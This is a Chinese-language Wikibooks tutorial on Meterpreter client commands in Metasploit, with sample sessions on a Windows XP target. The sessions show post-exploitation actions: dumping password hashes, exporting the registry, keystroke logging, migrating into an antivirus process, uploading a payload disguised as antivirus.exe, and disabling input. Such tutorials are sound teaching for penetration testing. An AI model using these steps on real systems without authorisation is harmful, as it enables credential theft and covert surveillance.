跳转到内容

Metasploit/MeterpreterClient

来自维基教科书,开放世界中的开放书籍

Meterpreter > shell

待办事项 - meterpreter 简介。

核心命令

[编辑 | 编辑源代码]

我们可以使用?help来显示命令列表及其简要描述。

background

[编辑 | 编辑源代码]

使用background命令将当前会话置于后台,并将我们带回 Metasploit 控制台,而不会终止会话。我们可以使用sessions Metasploit 命令再次开始与会话交互。

meterpreter > background
msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Description  Tunnel                                       
  --  -----------  ------                                       
  1   Meterpreter  192.168.50.112:443 -> 192.168.50.100:1495  

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

待办事项 显示有关活动通道的信息

待办事项 关闭通道

返回 Meterpreter 控制台并关闭活动会话。

meterpreter > exit

[*] Meterpreter session 1 closed.
msf exploit(handler) > sessions -l

Active sessions
===============

No active sessions.

我们可以使用?help来显示命令列表及其简要描述。

待办事项 与通道交互

我们可以使用irb命令启动交互式 Ruby Shell,这使我们能够使用 Ruby 脚本语言与受感染的系统交互。

要查看 API,我们需要从 Metasploit 目录运行rdoc命令,这将创建一个 doc/index.html 文件,我们可以在浏览器中打开它。查看 API 的 Rex::Post::Meterpreter 部分以获取相关部分。

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.sys.config.sysinfo()
=> {"OS"=>"Windows XP (Build 2600, Service Pack 2).", "Computer"=>"TARGETLAPTOP"}

Meterpreter 最初在被利用的进程中运行,或者在某些情况下作为其自身可执行文件的进程运行。如果该进程因任何原因停止,Meterpreter 会话将关闭,因此最好将会话迁移到更稳定的进程,例如 Windows 的 explorer.exe。

以下示例显示了使用一些命令来定位用户在其会话期间不会关闭的进程。这些命令是

  1. ps - 显示正在运行的进程列表。
  2. getpid - 显示 Meterpreter 正在使用的进程,显示 EXE 负载 meter-443.exe。
  3. migrate pid - 将 Meterpreter 移至新的进程 ID 号,我们在此请求 McAfee 代理。
  4. getpid - 显示 Meterpreter 正在使用的新的进程,我们验证它是 McAfee 代理进程。


meterpreter > ps

Process list
============

    PID   Name                      Path                                                              
    ---   ----                      ----                                                              
    220   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                            
    292   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe           
    484   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                         
    492   smss.exe                  \SystemRoot\System32\smss.exe                                     
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                              
    636   services.exe              C:\WINDOWS\system32\services.exe                                  
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                                     
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                                   
    956   svchost.exe               C:\WINDOWS\System32\svchost.exe                                   
    1404  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                                   
    1432  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                           
    1536  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe                     
    1616  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                           
    1692  meter-443.exe         C:\Documents and Settings\Administrator\Desktop\shared\meter-443.exe  
    1848  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe                  
    1860  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                               
    1884  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe                       
    1996  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe                   
    3076  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                                   
    3320  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                                   
    3424  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe                          
    4032  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                          

meterpreter > getpid
Current pid: 1692
meterpreter > migrate 1536
[*] Migrating to 1536...
[*] Migration completed successfully.
meterpreter > ps

Process list
============

    PID   Name                      Path                                                     
    ---   ----                      ----                                                     
    220   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                   
    292   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe  
    484   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                
    492   smss.exe                  \SystemRoot\System32\smss.exe                            
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                     
    636   services.exe              C:\WINDOWS\system32\services.exe                         
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                            
    744   taskmgr.exe               C:\WINDOWS\system32\taskmgr.exe                          
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                          
    956   svchost.exe               C:\WINDOWS\System32\svchost.exe                          
    1404  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                          
    1432  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                  
    1536  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe            
    1616  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                  
    1848  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe         
    1860  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                      
    1884  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe              
    1996  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe          
    3076  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                          
    3320  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                          
    3424  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe                 
    4032  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                 

meterpreter > getpid
Current pid: 1536

返回 Meterpreter 控制台并关闭活动会话。

meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(handler) > sessions -l

Active sessions
===============

No active sessions.

待办事项 从通道读取数据

我们可以使用run命令执行 Meterpreter 脚本。如果未指定路径,Meterpreter 将在 scripts/meterpreter/ 目录中搜索脚本。

在以下示例中,我们正在运行 scripts/meterpreter/scraper.rb 脚本,该脚本从目标提取一些基本信息。信息将记录到 ~/.msf3/logs/scraper 目录中。

meterpreter > run scraper.rb
[*] New session on 192.168.50.100:1548...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\xHzyoaiW.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\DOCUME~1\Administrator\LOCALS~1\Temp\JYCDjVMU.reg)
[*]  Cleaning HKLM
[*]  Exporting HKCC
[*]  Downloading HKCC (C:\DOCUME~1\Administrator\LOCALS~1\Temp\uEATxCej.reg)
[*]  Cleaning HKCC
[*]  Exporting HKCR
[*]  Downloading HKCR (C:\DOCUME~1\Administrator\LOCALS~1\Temp\guYOZCzT.reg)
[*]  Cleaning HKCR
[*]  Exporting HKU
[*]  Downloading HKU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\ZNfDGqdB.reg)
[*]  Cleaning HKU
[*] Completed processing on 192.168.50.100:1548...

为了获得额外的命令和功能,我们可以使用use命令加载 Meterpreter 扩展。

在以下示例中,我们希望使用hashdump命令从目标检索密码哈希。通过使用use priv命令,我们可以加载为我们提供hashdump命令的扩展。我们可以使用?来验证这一点,以列出我们可用的命令。

meterpreter > use -l
stdapi
sniffer
incognito
priv
espiameterpreter > use priv
Loading extension priv...success.

meterpreter > ?

<snip>

Priv: Password database Commands
================================

    Command       Description                             
    -------       -----------                             
    hashdump      Dumps the contents of the SAM database  


Priv: Timestomp Commands
========================

    Command       Description                      
    -------       -----------                      
    timestomp     Manipulate file MACE attributes

TODO 将数据写入通道

文件系统命令

[编辑 | 编辑源代码]

cat 命令显示单个文件的内容。截至撰写本文时,尝试读取空文件时,该命令将抛出错误。

meterpreter > cat passwords.txt
harleydavidson
password
kidsbirthday

要更改目录,使用 cd 命令。

该命令或多或少地接受反斜杠和正斜杠,尽管使用正斜杠似乎更频繁。"." 和 ".." 分别用于访问当前目录和父目录,双引号可用于访问名称中带有空格的目录。

meterpreter > pwd
C:\
meterpreter > cd /"Program Files"/"Internet Explorer"
meterpreter > pwd
C:\Program Files\Internet Explorer
meterpreter > cd ../../"documents and settings"/Administrator/Desktop/
C:\Documents and Settings\Administrator\Desktop

当我们需要从目标检索文件时,我们使用 download 命令,该命令将指定的文件传输到我们的本地工作目录中。如果我们需要递归地下载整个目录,我们使用 download -r 命令。

meterpreter > download users.txt
[*] downloading: users.txt -> users.txt
[*] downloaded : users.txt -> users.txt

要使用我们的默认文本编辑器编辑文件,我们使用 edit 命令。在幕后,Meterpreter 将将文件的副本下载到临时目录,然后在编辑完成后上传新文件。

meterpreter > edit users.txt

我们可以使用 getlwd (get local working directory),或使用别名 lpwd (local print working directory) 显示我们本地机器上的当前工作目录。

meterpreter > getlwd
/home/myusername/Desktop/metasploit
meterpreter > lpwd
/home/myusername/Desktop/metasploit

我们可以使用 getwd (get working directory),或使用别名 pwd (print working directory) 显示被利用机器上的当前工作目录。

meterpreter > getwd
C:\Program Files\Internet Explorer
meterpreter > pwd
C:\Program Files\Internet Explorer

要更改本地目录,我们使用 lcd 命令。

该命令仅接受与您的操作系统 cd 命令相同的方式的的参数,因此请参阅您的系统文档以获取具体说明。以下示例显示了 Linux 系统上的 lcd

meterpreter > lpwd
/home/myusername/Desktop/metasploit
meterpreter > lcd ../..
meterpreter > lpwd
/home/myusername
meterpreter > lcd /home/andrer/Desktop/metasploit
meterpreter > lpwd
/home/myusername/Desktop/metasploit

我们可以使用 lpwd (local print working directory),或使用别名 getlwd (get local working directory) 显示我们本地机器上的当前工作目录。

meterpreter > lpwd
/home/myusername/Desktop/metasploit
meterpreter > getlwd
/home/myusername/Desktop/metasploit

我们可以使用 ls 命令查看当前工作目录和该目录中文件的详细列表。文件列表以类似于 GNU ls 程序的格式给出。

meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop\shared
===============================================================

Mode              Size   Type  Last modified                   Name               
----              ----   ----  -------------                   ----               
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .                  
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..                 
100777/rwxrwxrwx  14965  fil   Wed Dec 31 18:00:00 -0600 1969  meter-443.exe  
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  u3

我们使用 mkdir 在目标系统上创建一个新目录。

meterpreter > mkdir antivirus-update
Creating directory: antivirus-update
meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop
================================================

Mode              Size     Type  Last modified                   Name               
----              ----     ----  -------------                   ----               
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  .                  
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  ..                 
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  antivirus-update   
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  shared             
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  working

我们可以使用 pwd ( print working directory),或使用别名 getwd (get working directory) 显示我们本地机器上的当前工作目录。

meterpreter > pwd
C:\Program Files\Internet Explorer
meterpreter > getwd
C:\Program Files\Internet Explorer

我们可以使用 rmdir 命令删除空目录。如果目录不为空,该命令将抛出错误。

meterpreter > rmdir antivirus-update
Removing directory: antivirus-update

要将文件发送到目标系统,我们使用 upload 命令,使用 -r 开关递归上传目录及其内容。在以下示例中,我们上传了一个错误命名的 Meterpreter 负载。

meterpreter > upload antivirus.exe
[*] uploading  : antivirus.exe -> antivirus.exe
[*] uploaded   : antivirus.exe -> antivirus.exe
meterpreter > ls

Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update
=================================================================

Mode              Size   Type  Last modified                   Name           
----              ----   ----  -------------                   ----           
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .              
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..             
100777/rwxrwxrwx  10912  fil   Wed Dec 31 18:00:00 -0600 1969  antivirus.exe

网络命令

[编辑 | 编辑源代码]

通过使用 ipconfig 命令或internet protocol configuration,我们可以查看目标上所有网络接口的列表。查看 ipconfig 的结果对于确定目标直接连接到哪些网络最有用。

例如,查看以下内容,我们可以看到目标连接到 192.168.50.0/24 网络,内部地址为 192.168.50.100。

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0


National Semiconductor DP83815-Based PCI Fast Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0b:cd:30:db:0a
IP Address  : 192.168.50.100
Netmask     : 255.255.255.0

将本地端口转发到远程服务

查看和修改路由表

系统命令

[编辑 | 编辑源代码]

执行命令

要执行命令,您需要对文件“cmd.exe”应用程序使用 execute "-f”。

这将在后台执行。要检查此项,请输入 ps

execute -f cmd.exe 54124---> 进程 ID

获取当前进程标识符

获取服务器运行的用户

终止进程

ps 命令列出正在运行的进程,它是一个重要的命令,原因有二。首先,了解目标系统上运行的应用程序和服务有助于我们了解系统的状态。其次,在某些情况下,Meterpreter 最初运行在被利用的进程内,或者作为其自身可执行文件的进程。如果该进程因任何原因停止,Meterpreter 会话将关闭,因此将会话迁移到更稳定的进程(例如 Windows 的 explorer.exe)是一种良好的做法。

meterpreter > ps

Process list
============

    PID   Name                      Path                                                     
    ---   ----                      ----                                                     
    284   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                   
    424   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe  
    492   smss.exe                  \SystemRoot\System32\smss.exe                            
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                     
    612   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                
    636   services.exe              C:\WINDOWS\system32\services.exe                         
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                            
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                          
    876   NOTEPAD.EXE               C:\WINDOWS\system32\NOTEPAD.EXE                          
    964   svchost.exe               C:\WINDOWS\System32\svchost.exe                          
    1348  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                          
    1464  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                  
    1540  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe            
    1612  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                  
    1840  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe         
    1852  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                      
    1876  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe              
    1928  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe          
    1952  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                 
    3028  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                          
    3168  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                          
    3240  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe

通过运行 reboot 命令,我们将重启目标系统。

meterpreter > reboot
Rebooting...

注册表

[编辑 | 编辑源代码]

修改并与远程注册表交互

在远程计算机上调用 RevertToSelf()。

使用 shutdown 命令将关闭目标系统。

meterpreter > shutdown
Shutting down...

系统信息

[编辑 | 编辑源代码]

在渗透后阶段,我们应该运行的最早命令之一是 sysinfo 命令。运行此命令将提供计算机名称和操作系统版本,这通常可以提供有关目标系统用途的线索。

meterpreter > sysinfo
Computer: TARGETLAPTOP
OS      : Windows XP (Build 2600, Service Pack 2).

用户界面命令

[编辑 | 编辑源代码]

枚举桌面

[编辑 | 编辑源代码]

待办事项:列出所有可访问的桌面和窗口站

空闲时间

[编辑 | 编辑源代码]

使用 idletime 命令将返回目标系统用户空闲的时间长度。

 meterpreter > idletime
 User has been idle for: 51 secs

键盘扫描转储

[编辑 | 编辑源代码]

我们可以使用 keyscan 系列命令来捕获目标的键盘输入。keyscan_startkeyscan_stop 命令分别开始和结束记录击键,而 keyscan_dump 命令则在我们的客户端上显示所有记录的击键。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

键盘扫描启动

[编辑 | 编辑源代码]

我们可以使用 keyscan 系列命令来捕获目标的键盘输入。keyscan_startkeyscan_stop 命令分别开始和结束记录击键,而 keyscan_dump 命令则在我们的客户端上显示所有记录的击键。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

键盘扫描停止

[编辑 | 编辑源代码]

我们可以使用 keyscan 系列命令来捕获目标的键盘输入。keyscan_startkeyscan_stop 命令分别开始和结束记录击键,而 keyscan_dump 命令则在我们的客户端上显示所有记录的击键。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

设置桌面

[编辑 | 编辑源代码]

待办事项:移至不同的工作站和桌面

用户界面控制

[编辑 | 编辑源代码]

使用 uictl 命令,我们可以禁用目标的键盘和鼠标输入。

meterpreter > uictl disable mouse
Disabling mouse...
meterpreter > uictl enable mouse
Enabling mouse...
meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter > uictl enable keyboard
Enabling keyboard...
华夏公益教科书